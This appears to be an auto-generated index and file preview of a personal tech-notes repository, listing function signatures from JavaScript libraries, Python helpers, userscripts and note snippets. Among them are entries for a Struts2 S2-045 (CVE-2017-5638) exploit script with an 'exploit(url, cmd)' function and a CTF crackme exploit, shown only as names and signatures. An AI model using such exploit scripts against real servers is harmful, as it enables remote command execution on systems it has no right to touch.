function Dn (line 6) | function Dn(e,t){var n,r,i,o,s;for(n in e)if(r=x.camelCase(n),i=t[r],o=e...
function An (line 6) | function An(e,t,n){var r,i,o,s,a,u,l=this,c={},p=e.style,f=e.nodeType&&L...
function Ln (line 6) | function Ln(e,t,n,r,i){return new Ln.prototype.init(e,t,n,r,i)}
function qn (line 6) | function qn(e,t){var n,r={height:e},i=0;for(t=t?1:0;4>i;i+=2-t)n=jt[i],r...
function Hn (line 6) | function Hn(e){return x.isWindow(e)?e:9===e.nodeType&&e.defaultView}
function e (line 7) | function e(e){this.tokens=[],this.tokens.links={},this.options=e||a.defa...
function t (line 7) | function t(e,t){if(this.options=t||a.defaults,this.links=e,this.rules=u....
function n (line 7) | function n(e){this.options=e||{}}
function r (line 7) | function r(e){this.tokens=[],this.token=null,this.options=e||a.defaults,...
function s (line 7) | function s(e,t){return e.replace(t?/&/g:/&(?!#?\w+;)/g,"&").replace(...
function i (line 7) | function i(e){return e.replace(/&(#(?:\d+)|(?:#x[0-9A-Fa-f]+)|(?:\w+));?...
function l (line 7) | function l(e,t){return e=e.source,t=t||"",function n(r,s){return r?(s=s....
function o (line 7) | function o(){}
function h (line 7) | function h(e){for(var t,n,r=1;r<arguments.length;r++){t=arguments[r];for...
function a (line 7) | function a(t,n,i){if(i||"function"==typeof n){i||(i=n,n=null),n=h({},a.d...
function t (line 8) | function t(t){return t instanceof Date?t:isNaN(t)?/^\d+$/.test(t)?new Da...
function e (line 8) | function e(t){return parseInt(t)}
function n (line 8) | function n(t,n,r){n=l[n]?n:l[r]?r:"en";for(var o=0,i=t<0?1:0,a=t=Math.ab...
function r (line 8) | function r(e,n){return((n=n?t(n):new Date)-t(e))/1e3}
function o (line 8) | function o(t){for(var e=1,n=0,r=Math.abs(t);t>=p[n]&&n<h;n++)t/=p[n],e*=...
function i (line 8) | function i(t){return a(t,"data-timeago")||a(t,"datetime")}
function a (line 8) | function a(t,e){return t.getAttribute?t.getAttribute(e):t.attr?t.attr(e)...
function u (line 8) | function u(t,e){return t.setAttribute?t.setAttribute(m,e):t.attr?t.attr(...
function c (line 8) | function c(t,e){this.nowDate=t,this.defaultLocale=e||"en"}
function d (line 8) | function d(t,e){return new c(t,e)}
function a (line 10) | function a(a,b){var c,d=document.createElement(a||"div");for(c in b)d[c]...
function b (line 10) | function b(a){for(var b=1,c=arguments.length;c>b;b++)a.appendChild(argum...
function c (line 10) | function c(a,b,c,d){var e=["opacity",b,~~(100*a),c,d].join("-"),f=.01+c/...
function d (line 10) | function d(a,b){var c,d,e=a.style;if(b=b.charAt(0).toUpperCase()+b.slice...
function e (line 10) | function e(a,b){for(var c in b)a.style[d(a,c)||c]=b[c];return a}
function f (line 10) | function f(a){for(var b=1;b<arguments.length;b++){var c=arguments[b];for...
function g (line 10) | function g(a,b){return"string"==typeof a?a:a[b%a.length]}
function h (line 10) | function h(a){this.opts=f(a||{},h.defaults,n)}
function i (line 10) | function i(){function c(b,c){return a("<"+b+' xmlns="urn:schemas-microso...
function h (line 10) | function h(b,c){return e(a(),{position:"absolute",width:f.scale*(f.lengt...
function t (line 12) | function t(e){return e.replace(/&/g,"&").replace(/</g,"<").replac...
function r (line 12) | function r(e){return e.nodeName.toLowerCase()}
function a (line 12) | function a(e,t){var r=e&&e.exec(t);return r&&0===r.index}
function n (line 12) | function n(e){return E.test(e)}
function i (line 12) | function i(e){var t,r,a,i,s=e.className+" ";if(s+=e.parentNode?e.parentN...
function s (line 12) | function s(e){var t,r={},a=Array.prototype.slice.call(arguments,1);for(t...
function c (line 12) | function c(e){var t=[];return function a(e,n){for(var i=e.firstChild;i;i...
function o (line 12) | function o(e,a,n){function i(){return e.length&&a.length?e[0].offset!==a...
function l (line 12) | function l(e){return e.v&&!e.cached_variants&&(e.cached_variants=e.v.map...
function u (line 12) | function u(e){function t(e){return e&&e.source||e}function r(r,a){return...
function d (line 12) | function d(e,r,n,i){function s(e,t){var r,n;for(r=0,n=t.c.length;n>r;r++...
function b (line 12) | function b(e,r){r=r||L.languages||k(x);var a={r:0,value:t(e)},n=a;return...
function p (line 12) | function p(e){return L.tabReplace||L.useBR?e.replace(B,function(e,t){ret...
function m (line 12) | function m(e,t,r){var a=t?C[t]:r,n=[e.trim()];return e.match(/\bhljs\b/)...
function f (line 12) | function f(e){var t,r,a,s,l,u=i(e);n(u)||(L.useBR?(t=document.createElem...
function g (line 12) | function g(e){L=s(L,e)}
function _ (line 12) | function _(){if(!_.called){_.called=!0;var e=document.querySelectorAll("...
function h (line 12) | function h(){addEventListener("DOMContentLoaded",_,!1),addEventListener(...
function v (line 12) | function v(t,r){var a=x[t]=r(e);a.aliases&&a.aliases.forEach(function(e)...
function y (line 12) | function y(){return k(x)}
function w (line 12) | function w(e){return e=(e||"").toLowerCase(),x[e]||x[C[e]]}
FILE: docs/assets/js/css-vars-ponyfill.js
function e (line 8) | function e(){return(e=Object.assign||function(e){for(var t=1;t<arguments...
function t (line 8) | function t(e){return function(e){if(Array.isArray(e))return r(e)}(e)||fu...
function r (line 8) | function r(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Ar...
function n (line 8) | function n(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[...
function o (line 8) | function o(e){var t=/\/\*[\s\S]+?\*\//g,r=/(?:@import\s*)(?:url\(\s*)?(?...
function s (line 8) | function s(e,t){var r=document.implementation.createHTMLDocument(""),n=r...
function c (line 8) | function c(e,t,r){e instanceof RegExp&&(e=i(e,r)),t instanceof RegExp&&(...
function i (line 8) | function i(e,t){var r=t.match(e);return r?r[0]:null}
function u (line 8) | function u(e,t,r){var n,o,s,a,c,i=r.indexOf(e),u=r.indexOf(t,i+1),l=i;if...
function l (line 8) | function l(t){var r=arguments.length>1&&void 0!==arguments[1]?arguments[...
function f (line 8) | function f(t){var r=arguments.length>1&&void 0!==arguments[1]?arguments[...
function d (line 8) | function d(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[...
function p (line 8) | function p(e,t){e.rules.forEach((function(r){r.rules?p(r,t):r.keyframes?...
function m (line 8) | function m(t){var r=arguments.length>1&&void 0!==arguments[1]?arguments[...
function v (line 8) | function v(e){return(e.match(/calc\(([^)]+)\)/g)||[]).forEach((function(...
function h (line 8) | function h(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[...
function k (line 8) | function k(){var r=arguments.length>0&&void 0!==arguments[0]?arguments[0...
function _ (line 8) | function _(e){function t(e){var t=e.hasAttribute("disabled"),r=(e.sheet|...
function M (line 8) | function M(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[...
function T (line 8) | function T(e){var t=["animation-name","-moz-animation-name","-webkit-ani...
function R (line 8) | function R(e,t){return(e.replace(E.cssComments,"").match(E.cssUrls)||[])...
function L (line 8) | function L(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0...
function D (line 8) | function D(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[...
function V (line 8) | function V(){return y&&(window.performance||{}).now?window.performance.n...
function B (line 8) | function B(e){Array.apply(null,e.querySelectorAll('[data-cssvars="skip"]...
FILE: docs/code/EasyLogin.py
function mymd5 (line 41) | def mymd5(input):
class EasyLogin_ValidateFail (line 47) | class EasyLogin_ValidateFail(Exception):
class EasyLogin (line 50) | class EasyLogin:
method __init__ (line 51) | def __init__(self, cookie=None, cookiestring=None, cookiefile=None, pr...
method setcookie (line 97) | def setcookie(self,cookiestring):
method showcookie (line 109) | def showcookie(self):
method get (line 120) | def get(self, url, result=True, save=False, headers=None, o=False, cac...
method post (line 198) | def post(self, url, data, result=True, save=False, headers=None, cache...
method post_dict (line 239) | def post_dict(self, url, dict, result=True, save=False, headers=None,c...
method post_json (line 254) | def post_json(self, url, jsondata, result=False, save=False, headers=N...
method f (line 269) | def f(self, name, attrs):
method getlist (line 281) | def getlist(self, searchString, elementName="a", searchTarget="href", ...
method img (line 309) | def img(self):
method css (line 312) | def css(self):
method js (line 315) | def js(self):
method VIEWSTATE (line 318) | def VIEWSTATE(self):
method save (line 330) | def save(self, filename="EasyLogin.status"):
method load (line 348) | def load(filename='EasyLogin.status'):
method w (line 363) | def w(filename, content, method='w', overwrite=False):
method text (line 377) | def text(self, target=None, ignore_pureascii_words=False):
method find (line 406) | def find(self, tag, attrs_string, skip=0, text=False):
method d (line 436) | def d(self,tag,attrs,all=False):
method safefilename (line 457) | def safefilename(filename):
method stash_cookie (line 467) | def stash_cookie(self):
method pop_cookie (line 478) | def pop_cookie(self):
function main (line 487) | def main():
FILE: docs/code/MultiThread_Template.py
function work (line 10) | def work(list):
FILE: docs/code/SpecialJudge_检查输出行顺序无关的答案.c
function compare (line 16) | int compare(const void* a,const void* b){
function close_file (line 22) | void close_file(FILE *f){
function main (line 28) | int main(int argc, char *args[]){
function spj (line 49) | int spj(FILE *input, FILE *user_output){
FILE: docs/code/Understand_recursion/example1.c
type TreeNode (line 5) | struct TreeNode
type TreeNode (line 6) | struct TreeNode {
function Visit (line 16) | void Visit( Tree T, int *level ){
function main (line 27) | int main(){
FILE: docs/code/autoseed_byr2nhd.py
function img_smaller (line 10) | def img_smaller(filename):
function downimgs (line 16) | def downimgs(a, imgs):
function upload_imgs_nhd (line 34) | def upload_imgs_nhd(a_nhd, filenames):
function get_byr (line 43) | def get_byr(a, torrentid):
function download_torrent_byr (line 89) | def download_torrent_byr(a, torrentid, host="bt.byr.cn", short="byr"):
function download_torrent_nhd (line 95) | def download_torrent_nhd(a_nhd, torrentid):
function upload_nhd (line 98) | def upload_nhd(a_nhd, filename, torrentid, uploadedimgs, name,subtitle,d...
function upload_transmission (line 127) | def upload_transmission(thost, tport, tuser, tpassword, filename):
FILE: docs/code/ccfbadge.user.js
function work (line 13) | function work() {
FILE: docs/code/ctf.cf_crackme/zeph1/exp.cpp
function main (line 72) | int main(){
FILE: docs/code/decisiontree.py
function calcShannonEnt (line 8) | def calcShannonEnt(dataSet): #Ϣ
function splitDataSet (line 24) | def splitDataSet(dataSet, axis, value): #axis=0value=̣ͻõ̵ЩɾȥĽ
function chooseBestFeatureToSplit (line 34) | def chooseBestFeatureToSplit(dataSet):
function majorityCnt (line 53) | def majorityCnt(classList):
function createTree (line 62) | def createTree(dataSet, labels):
function classify (line 85) | def classify(inputTree, featLabels, testVec):
FILE: docs/code/exp.S2-045.py
function exploit (line 8) | def exploit(url, cmd):
FILE: docs/code/jshook_preload.js
function r (line 11) | function r(i){if(n[i])return n[i].exports;var o=n[i]={exports:{},id:i,lo...
function r (line 11) | function r(t){return function(){return this.hasOwnProperty(t+"_")?this[t...
function n (line 11) | function n(r){return function(n){var i=this.xhr,o=this;return 0!=r.index...
function i (line 11) | function i(r){return function(){var n=[].slice.call(arguments);if(!t[r]|...
function isDataView (line 38) | function isDataView(obj) {
function normalizeName (line 62) | function normalizeName(name) {
function normalizeValue (line 72) | function normalizeValue(value) {
function iteratorFor (line 80) | function iteratorFor(items) {
function Headers (line 97) | function Headers(headers) {
function consumed (line 175) | function consumed(body) {
function fileReaderReady (line 182) | function fileReaderReady(reader) {
function readBlobAsArrayBuffer (line 193) | function readBlobAsArrayBuffer(blob) {
function readBlobAsText (line 200) | function readBlobAsText(blob) {
function readArrayBufferAsText (line 207) | function readArrayBufferAsText(buf) {
function bufferClone (line 217) | function bufferClone(buf) {
function Body (line 227) | function Body() {
function normalizeMethod (line 323) | function normalizeMethod(method) {
function Request (line 328) | function Request(input, options) {
function decode (line 371) | function decode(body) {
function parseHeaders (line 387) | function parseHeaders(rawHeaders) {
function Response (line 405) | function Response(bodyInit, options) {
function fetch (line 460) | function fetch(input, init) {
FILE: docs/code/pinyin.sql
type `t_base_pinyin` (line 1) | CREATE TABLE IF NOT EXISTS `t_base_pinyin` (
FILE: docs/code/showtiponcc98.user.js
function domLib_clone (line 117) | function domLib_clone(obj)
function Hash (line 146) | function Hash()
function domLib_isDescendantOf (line 273) | function domLib_isDescendantOf(in_object, in_ancestor, in_bannedTags)
function domLib_detectCollisions (line 325) | function domLib_detectCollisions(in_object, in_recover, in_useCache)
function domLib_getOffsets (line 447) | function domLib_getOffsets(in_object, in_preserveScroll)
function domLib_setTimeout (line 492) | function domLib_setTimeout(in_function, in_timeout, in_args)
function domLib_clearTimeout (line 533) | function domLib_clearTimeout(in_id)
function domLib_getEventPosition (line 554) | function domLib_getEventPosition(in_eventObj)
function domLib_cancelBubble (line 585) | function domLib_cancelBubble(in_event)
function domLib_getIFrameReference (line 594) | function domLib_getIFrameReference(in_frame)
function domLib_getElementsByClass (line 626) | function domLib_getElementsByClass(in_class)
function domLib_getElementsByTagNames (line 645) | function domLib_getElementsByTagNames(in_list, in_excludeHidden)
function domLib_getComputedStyle (line 684) | function domLib_getComputedStyle(in_obj, in_property)
function makeTrue (line 706) | function makeTrue()
function makeFalse (line 714) | function makeFalse()
function domTT_activate (line 846) | function domTT_activate(in_this, in_event)
function domTT_create (line 1014) | function domTT_create(in_options)
function domTT_show (line 1362) | function domTT_show(in_id, in_event)
function domTT_close (line 1518) | function domTT_close(in_handle)
function domTT_closeAll (line 1545) | function domTT_closeAll()
function domTT_deactivate (line 1557) | function domTT_deactivate(in_id)
function domTT_mouseout (line 1617) | function domTT_mouseout(in_owner, in_event)
function domTT_mousemove (line 1643) | function domTT_mousemove(in_owner, in_event)
function domTT_addPredefined (line 1667) | function domTT_addPredefined(in_id)
function domTT_correctEdgeBleed (line 1681) | function domTT_correctEdgeBleed(in_width, in_height, in_x, in_y, in_offs...
function domTT_isActive (line 1755) | function domTT_isActive(in_id)
function domTT_runDeactivate (line 1773) | function domTT_runDeactivate(args) { domTT_deactivate(args[0]); }
function domTT_runShow (line 1774) | function domTT_runShow(args) { domTT_show(args[0], args[1]); }
function domTT_replaceTitles (line 1779) | function domTT_replaceTitles(in_decorator)
function domTT_update (line 1809) | function domTT_update(handle, content, type)
function handletarget (line 2038) | function handletarget(target){
FILE: docs/code/spider.oncokb.js
function capture (line 11) | function capture(){
function timeout (line 18) | function timeout(){
FILE: docs/code/upyun.py
function login (line 7) | def login(username,password):
function islogin (line 21) | def islogin():
function purge_rule_request (line 26) | def purge_rule_request(urls):
function https_domain_list (line 40) | def https_domain_list(inuseonly=True, selfonly=True, detail=True):
function need_renew_list (line 59) | def need_renew_list():
function add_certificate (line 70) | def add_certificate(cert):
function migrate_certificate (line 76) | def migrate_certificate(oldid, newid):
function renew (line 81) | def renew(api_func, data):
FILE: docs/code/upyun_purge.py
function md5 (line 5) | def md5(src):
function purge_api_request (line 8) | def purge_api_request(URLS,BucketName,OperatorName,OperatorPassword):
FILE: docs/code/zju_grs_helper.user.js
function xk (line 21) | function xk(id){ //在全校开课查询页面进入选课
function run (line 42) | function run(){
function re_findall (line 53) | function re_findall(regex, text){
function chalaoshi_search (line 62) | function chalaoshi_search(teacher_name, callback, td){ //搜索查老师
function chalaoshi_page_extract (line 79) | function chalaoshi_page_extract(div, selector){
function show_chalaoshi_page (line 85) | function show_chalaoshi_page(id){ //显示查老师信息,获取基本信息及评论第一页显示
function callback_modify_teacher_td (line 124) | function callback_modify_teacher_td(td, ids, scores, names){
function test_chalaoshi (line 133) | function test_chalaoshi(){
function getBase64Image (line 153) | function getBase64Image(img) {
function logimage (line 163) | function logimage(url){
function work (line 178) | function work(img){
function onchange (line 206) | function onchange(){
function wait (line 210) | function wait(callback){
function getXY (line 220) | function getXY(callback){
function lnsjCxdc (line 229) | function lnsjCxdc(){
function quicklogin (line 260) | function quicklogin(xh,password){
FILE: docs/code/读fasta文件.py
function handle (line 10) | def handle(name,fasta):
FILE: docs/doc/PAT/pat-b-practise/1003.py
function judge (line 1) | def judge(s):
FILE: docs/doc/PAT/pat-b-practise/1005.py
function calc (line 3) | def calc(n):
FILE: docs/doc/PAT/pat-b-practise/1013.py
function ola (line 19) | def ola(N):#欧拉筛法
Condensed preview — 233 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (6,034K chars).
[
{
"path": ".gitignore",
"chars": 110,
"preview": "venv/\r\n*.status\r\ndocs/sitemap.xml.gz\r\nGemfile.lock\r\n.jekyll-metadata\r\nconfig.py\r\n__pycache__\r\n*.pyc\r\nmdfiles\r\n"
},
{
"path": ".nojekyll",
"chars": 0,
"preview": ""
},
{
"path": "BASH.md",
"chars": 1364,
"preview": "# BASH\r\n\r\n\r\n## 在bash脚本中使用alias\r\n\r\n@TAG alias\r\n\r\n加上这么一句:\r\n\r\n```\r\nshopt -s expand_aliases\r\n```\r\n\r\n## 判断命令行参数是否为空\r\n\r\n在pytho"
},
{
"path": "BAT.md",
"chars": 5330,
"preview": "# BAT 批处理\r\n\r\n也包含一些Windows命令行工具\r\n\r\n## 快速打开cmd\r\n\r\n还在用Win+R cmd再用pushd命令?\r\n\r\n在资源管理器的地址栏输入cmd回车就能直接进入当前目录\r\n\r\n另外,不如直接[把cmd加入到"
},
{
"path": "Bitcoin.md",
"chars": 14317,
"preview": "# Bitcoin\r\n\r\n<script>\r\nfunction showwatch1(){\r\n localStorage.setItem(\"watchtab\",\"showwatch1\");\r\n tablebodysort(doc"
},
{
"path": "C.md",
"chars": 7797,
"preview": "# C语言\r\n\r\n一点关于C的建议咯,也包含C++\r\n\r\n顺带附上几个题目和我写的解答\r\n\r\n\r\n----\r\n\r\n## 关于Dev C++\r\n\r\n* 有时候会发生改了代码但运行起来是旧版本的情况,需要检查是否关闭了正在运行的exe,如果是工"
},
{
"path": "CDN.md",
"chars": 6633,
"preview": "# CDN\r\n\r\n## UPYUN\r\n\r\n### 上传文件的方法\r\n\r\n#### FTP\r\n\r\n人家支持用ftp传输文件,而且用ftp似乎不对流量计费\r\n\r\nftp://v0.ftp.upyun.com \r\n\r\n用户名是\"操作员名/服务名\""
},
{
"path": "CNAME",
"chars": 19,
"preview": "py3.io\nnote.py3.io\n"
},
{
"path": "Developer.md",
"chars": 18072,
"preview": "## 保持技术精进\r\n\r\n先得有方向,我用这个技术能给我带来什么回报?找到内在动力\r\n\r\n1. 读书,学习视频课程\r\n\r\n2. 去阅读源码,大的开源项目有新的技术、巧妙的设计、优良的架构,对自己写代码、架构的能力都有非常大的提升\r\n\r\n3."
},
{
"path": "Docker.md",
"chars": 34563,
"preview": "## 搬运镜像\r\n\r\n```\r\nIMAGE=mysql\r\ndocker save $IMAGE | 7z a -si $IMAGE.tar.7z\r\n7z x -so $IMAGE.tar.7z | docker load\r\n```\r\n\r\n#"
},
{
"path": "ETH.md",
"chars": 9207,
"preview": "## ETH\r\n\r\n学习一下以太坊,目前可以在区块链上刻字了,每个交易可以存储30K的内容\r\n\r\n## 获取测试网络ropsten的ETH\r\n\r\n目前的faucet列表,不过有可能他们工作在fork上,获得的eth不能在etherscan上"
},
{
"path": "Favorites.md",
"chars": 854,
"preview": "# Favorites 收藏\r\n\r\n收藏一些有用的资料咯~\r\n\r\n[Intel i386 手册](http://microsym.com/editor/assets/386intel.pdf)\r\n\r\n[i386 手册勘误](https://"
},
{
"path": "Flask.md",
"chars": 9695,
"preview": "# Flask 备忘\r\n\r\n常用的一些操作,自己总结的,便于查阅\r\n\r\n## 应用根目录APP_ROOT\r\n\r\n```\r\nAPP_ROOT = os.path.dirname(os.path.abspath(__file__))\r\n```\r"
},
{
"path": "Gemfile",
"chars": 80,
"preview": "source 'https://gems.ruby-china.org'\ngem 'github-pages', group: :jekyll_plugins\n"
},
{
"path": "Git.md",
"chars": 12264,
"preview": "# Git\r\n\r\n参考 **沉浸式学 Git** http://igit.linuxtoy.org/\r\n\r\n参考 Learn Git Branching [learngitbranching.js.org](https://learngit"
},
{
"path": "GithubProjectRecommendation.md",
"chars": 1588,
"preview": "\r\n\r\n## you-get\r\n\r\nhttps://github.com/soimort/you-get\r\n\r\npip安装后直接下载b站超清视频\r\n\r\n本想自己用PhantomJS写bilibili的下载的,没想到人家拿到了签名的私钥,直接"
},
{
"path": "Java.md",
"chars": 2617,
"preview": "\r\n\r\n## Java的神奇(keng)\r\n\r\n记录一下Java与C的不同点,感受Thinking in Java\r\n\r\n### 变量名称\r\n\r\n$就是个普通字符,可以int $a; //php表示mdzz\r\n\r\n### main函数\r\n\r"
},
{
"path": "JavaScript.md",
"chars": 20831,
"preview": "\r\n\r\n## 使用localStorage\r\n\r\nCookie存数据影响访问速度(每次请求都需要带上Cookie),使用localStorage存储有更大容量,还不易丢失\r\n\r\n建议将用户的大段输入随时存储到localStorage中\r\n\r"
},
{
"path": "Jekyll.md",
"chars": 2193,
"preview": "\r\n\r\n# Jekyll\r\n\r\n目前本站使用 `Github Pages`,~~采用`Jekyll`转换md为html~~,所以有必要记录一下折腾Jekyll的过程咯\r\n\r\n更新:目前已经不再使用Jekyll,改用mkdocs\r\n\r\n## "
},
{
"path": "Links.md",
"chars": 3441,
"preview": "\r\n\r\n# Links Share\r\n\r\n分享一些hacker相关的链接, 包含开发、安全、CTF\r\n\r\n觉得没事干? 不如来逛逛这些地方吧:\r\n\r\n## 开发类\r\n\r\n[Free Programming Books](https://gi"
},
{
"path": "Linux-SSH.md",
"chars": 2941,
"preview": "\r\n\r\n# SSH\r\n\r\n## 客户端不同服务器使用不同的id_rsa\r\n\r\n修改`.ssh/config`:\r\n\r\n```\r\nHost myshortname realname.example.com\r\n HostName real"
},
{
"path": "Linux-VirtualBox.md",
"chars": 3921,
"preview": "\r\n\r\n# VirtualBox\r\n\r\n> 参考 https://www.howtoforge.com/tutorial/running-virtual-machines-with-virtualbox-5.1-on-a-headless-"
},
{
"path": "Linux-backup.md",
"chars": 2963,
"preview": "# 备份 备份 备份!\r\n\r\n一个良好安全的备份计划至关重要,备份脚本应该导出数据库、压缩日志和动态产生的数据文件,加密后上传至其他服务器或CDN\r\n\r\n\r\n----\r\n\r\n## Demo\r\n\r\n下面的例子涉及到date、docker、ta"
},
{
"path": "Linux-cli.md",
"chars": 17155,
"preview": "# Linux命令行操作技巧\r\n\r\n本文档一般不涉及root权限,Linux相关笔记还有:\r\n\r\n[Linux系统配置](Linux-setup.md)\r\n\r\n[SSH远程登录](Linux-SSH.md)\r\n\r\n[Linux备份](Lin"
},
{
"path": "Linux-setup.md",
"chars": 27202,
"preview": "# Linux系统配置\r\n\r\n本文档为Linux服务器的配置方面的笔记,Linux相关笔记还有:\r\n\r\n[Linux命令行操作技巧](Linux-cli.md)\r\n\r\n[SSH远程登录](Linux-SSH.md)\r\n\r\n[Linux备份]"
},
{
"path": "Misson.md",
"chars": 2152,
"preview": "# 说明\r\n这个文件是我的Idea们,挖个坑待填\r\n\r\n有兴趣和我一起干或告知现有的技术,欢迎提issue或发送邮件:github@qiushi.ac.cn\r\n\r\n\r\n----\r\n\r\n## 图床可用性监测+特性测试数据?\r\n\r\n现在我们已经"
},
{
"path": "MySQL.md",
"chars": 9188,
"preview": "\r\n\r\n\r\n## 查看表结构\r\n\r\ndesc 表名称;\r\n\r\n### 查看建表sql语句\r\n\r\n```\r\nshow create table 表名称;\r\n```\r\n\r\n----\r\n\r\n## MERGE存储引擎\r\n\r\n官方文档:http://"
},
{
"path": "Nginx.md",
"chars": 18130,
"preview": "# Nginx\r\n\r\n记录用到的配置,说不定你也能遇到这些特殊需求呢~\r\n\r\n\r\n## Nginx思考题\r\n\r\n请以批判的眼光阅读以下链接或者自行google,回答以下问题:\r\n\r\nhttp://www.nginx.cn/591.html\r"
},
{
"path": "PHP.md",
"chars": 428,
"preview": "# PHP\r\n\r\n\r\n## 显示错误信息\r\n\r\nPHP返回500,不知道发生了啥,就在php文件开头显示所有错误:\r\n\r\n```\r\n<?php\r\n ini_set('display_errors', true);\r\n error"
},
{
"path": "PaperReading.md",
"chars": 18110,
"preview": "# Paper Reading\r\n\r\n## Fuzzing error-handling code using context-sensitive software fault injection\r\n\r\nUSENIX2020 [PDF](h"
},
{
"path": "Python.md",
"chars": 41872,
"preview": "# Python\r\n\r\n嗯哼,Python很好玩呢...有人说Python是能运行的伪代码,就写代码的速度而言是显著优于C的,也有很多好用的类库呢,反正强烈推荐这门语言啦~\r\n\r\n当你尝试一个包的时候,注意自己的py文件名称不能与包名重名,"
},
{
"path": "PythonCourse.md",
"chars": 14677,
"preview": "# Python程序设计课程\r\n\r\n## 先本地测试能通过再提交\r\n\r\nPTA没有提供详细的报错,你都不知道错哪了怎么改,建议你试试本文提到的错误,记住错误信息下次遇到也就不慌了\r\n\r\n本地Python跑成功再提交提高效率,省点时间\r\n\r\n"
},
{
"path": "README.md",
"chars": 7601,
"preview": "# zjuchenyuan's Notebook\n\nMy notebook about technology, for lookup and share\n\n查看内容 请点击Topic标题(如[Docker](Docker.md))进入页面后"
},
{
"path": "RabbitMQ.md",
"chars": 2877,
"preview": "# RabbitMQ 消息队列\r\n\r\n## Docker部署\r\n\r\n* 必须设置主机名 --hostname\r\n* 数据卷映射\r\n* 使用macvlan分配IP\r\n* 配置用户密码\r\n\r\n配置用户密码必须要求数据文件夹为空,否则不会生效\r\n"
},
{
"path": "S2-045.md",
"chars": 4820,
"preview": "# 修复Struts2的S2-045漏洞\r\n\r\n\r\n## 漏洞简介\r\n\r\n最近批露,Apache Struts 2软件存在远程命令执行高危漏洞,Struts2官方已经确认该漏洞,漏洞编号为CVE-2017-5638,受影响的版本包括 Str"
},
{
"path": "Ubuntu.md",
"chars": 534,
"preview": "# Ubuntu桌面版使用\r\n\r\n使用ubuntu16.04桌面版的一些折腾\r\n\r\n\r\n## 安装Google拼音并配置代理\r\n\r\n安装请参考[这篇文章-ubuntu安装谷歌拼音输入法](https://www.linuxdashen.co"
},
{
"path": "WindowsSoftware.md",
"chars": 5962,
"preview": "# Windows Software\r\n\r\n自己日常用到的一些工具咯\r\n\r\n\r\n----\r\n\r\n## Emeditor\r\n\r\nhttps://www.emeditor.com/\r\n\r\n下载:http://files.emeditor.com"
},
{
"path": "_clicktocompile.bat",
"chars": 211,
"preview": "@echo off\r\nbash -c \"git --no-pager diff; git status\"\r\nset /p message=commit message?\r\nbash -c \"./compile.sh\"\r\nbash -c \"g"
},
{
"path": "_config.yml",
"chars": 89,
"preview": "theme: jekyll-theme-hacker\r\nhighlighter: pygments\r\ntitle: notebook\r\ndescription: 我的技术笔记本~"
},
{
"path": "assets/css/filelist.txt",
"chars": 2512,
"preview": "https://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xFIzIFKw.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92"
},
{
"path": "assets/css/fonts.css",
"chars": 11566,
"preview": "/* cyrillic-ext */\r\n@font-face {\r\n font-family: 'Roboto';\r\n font-style: italic;\r\n font-weight: 400;\r\n font-display: "
},
{
"path": "assets/js/comment.js",
"chars": 171994,
"preview": "/*! jQuery v2.0.3 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license\n//@ sourceMappingURL=jquery.min.map\n*/\n("
},
{
"path": "assets/js/css-vars-ponyfill.js",
"chars": 22450,
"preview": "/*!\r\n * css-vars-ponyfill\r\n * v2.3.1\r\n * https://jhildenbiddle.github.io/css-vars-ponyfill/\r\n * (c) 2018-2020 John Hilde"
},
{
"path": "assets/js/index.js",
"chars": 343,
"preview": "if(location.pathname==\"/README/\"){\r\n window.onload = function(){\r\n Array.from(document.querySelectorAll(\"div.m"
},
{
"path": "cURL.md",
"chars": 2197,
"preview": "# cURL\r\n\r\ncurl这么有用的东西,还是单独开个文档咯~\r\n\r\n\r\n\r\n\r\n\r\n> 大名鼎鼎的cURL,不必多言;只是它的命令行的运行方"
},
{
"path": "ccfbadge.md",
"chars": 3461,
"preview": "# CCF Badge\r\n\r\n在dblp搜索结果中高亮显示安全顶会和CCF分类+方向\r\n\r\n安装 Chrome插件[Tampermonkey](https://chrome.google.com/webstore/detail/tamper"
},
{
"path": "code/EasyLogin.py",
"chars": 20083,
"preview": "# coding:utf-8\r\nfrom __future__ import with_statement\r\n\r\ntry:\r\n from urllib.parse import urlencode, quote, unquote\r\n "
},
{
"path": "code/Javascript/异常.html",
"chars": 376,
"preview": "<form>\r\n<input id=\"txt\" type=\"text\">\r\n<input id=\"btn\" type=\"button\" onclick=\"demo()\" value=\"ť\">\r\n</form>\r\n<script>\r\nfunc"
},
{
"path": "code/MultiThread_Template.py",
"chars": 481,
"preview": "#coding:utf-8\r\n#Python简单多线程模板,支持Py2,Py3\r\n\r\nimport threading\r\nfrom time import sleep\r\n\r\ntheader = 20\r\n\r\ncounter = 0 \r\ndef"
},
{
"path": "code/PHP/ShowDoc.sh",
"chars": 679,
"preview": "# how to install ShowDoc in centos\r\n\r\nyum install nginx php php-gd php-fpm php-mcrypt php-mbstring php-mysql php-pdo\r\n\r\n"
},
{
"path": "code/RVPNKeepAlive.bat",
"chars": 645,
"preview": "REM ڱ֤WindowsϵrvpnϿ\r\nREM űҪдһLoader.batÿ1min(Զ)һαű\r\nREM ˳¼ĵԶcurlȡʧԶ\r\nREM rvpnԶܵ´ڴռãԶChrome.exe\r\n\r\ntaskkill /f /im Log"
},
{
"path": "code/SpecialJudge_检查输出行顺序无关的答案.c",
"chars": 1665,
"preview": "/*\r\n * 本代码是评判输出行无关的Special Judge代码,用于OnlineJudge\r\n * 原理为把标准答案写入代码中,先把标准答案和用户答案都qsort排序后再逐行比较\r\n*/\r\n#include <stdio.h>\r\n#i"
},
{
"path": "code/Understand_recursion/example1.c",
"chars": 1457,
"preview": "#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#define MAX_LEVEL 55\r\ntypedef struct TreeNode *Tree;\r\ns"
},
{
"path": "code/autoseed_byr2nhd.py",
"chars": 6280,
"preview": "from EasyLogin import EasyLogin\r\nimport sys, os, re\r\nfrom PIL import Image\r\nfrom resizeimage import resizeimage\r\nfrom co"
},
{
"path": "code/ccfbadge.user.js",
"chars": 33838,
